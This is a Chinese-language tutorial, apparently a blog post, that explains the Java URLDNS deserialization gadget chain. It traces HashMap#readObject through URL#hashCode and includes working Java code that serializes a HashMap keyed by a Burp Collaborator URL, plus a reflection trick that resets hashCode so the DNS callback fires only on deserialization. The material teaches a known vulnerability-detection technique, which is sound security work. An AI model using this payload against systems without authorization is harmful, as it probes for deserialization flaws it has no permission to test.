

思路:
HashMap#readObject—>HashMap#putVal—>HashMap#hash—>key.hashcode
URL#hashCode—>URLStreamHandler#hashcode—>getHostAddress()
给HashMap的key赋值为URL类型即可完成利用链
URL类中的常见方法有:URL.hashCode
// URL#hashCode
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
Java
变量hashCode的初始化为-1,在不等于-1时,调用了handler的hashCode,
// URLStreamHandler#hashCode
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
Java
调用了getHostAddress()方法,根据域名获取地址,即发起DNS请求。
在考虑反序列化时,HashMap实现的条件:
1、实现了Serializable接口,可进行序列化和反序列化
2、参数类型宽泛,可传递任意值进去。
3、JDK自带的类
4、HashMap重写了自己的readObject方法
综上,HashMap是一个完美的反序列化入口类。
// HashMap#readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
......
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
Java
readObject中在putVal方法中调用了hash方法。
/ HashMap#hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Java
hash方法中又调用了hashCode方法。
根据以上的信息,可以将两个类整合一条利用链进行利用。
创建HashMap并给key赋值一个URL,那么就会执行DNS请求。
public class URLDNS {
public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hashMap = new HashMap<>();
hashMap.put(new URL("http://075atow93mvbu1zytck2p1uw5nbdz2.burpcollaborator.net"),1);
serialization(hashMap);
}
public static void serialization(Object obj)throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
Java
过程:
1、创建一个HashMap对象
2、利用BurpSuite生成一个URL,用来捕获DNS请求
3、将URL赋值给HashMap的key
4、进行序列化
尚未进行反序列化,就上述代码执行即可获得DNS请求。
调试:
跟入HashMap的put方法
// HashMap#put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
Java
HashMap的put方法中就调用了hash。
// HashMap#hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Java
因为key中保存的是URL,所以会出发利用链。
综上,得出结论:URL.hashCode会判断参数hashCode是否为-1,参数hashCode初始化为-1,若hashCode不等于-1,则返回hashCode的值,若等于-1,则调用handler.hashCode触发DNS请求。
解决:为了在HashMap的put过程中不执行利用链,所以需要在put之前将URL对象的hashCode修改为非-1的值,然后在put之后,将hashCode的值改回-1.
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("http://ajxsfov0sjy74ezxzpgmd778nztuhj.burpcollaborator.net");
Class c = url.getClass();
Field fieldHashCode = c.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true);
fieldHashCode.set(url,1234);
hashMap.put(url,1);
fieldHashCode.set(url,-1);
serialization(hashMap);
unserialize("ser.bin");
Java



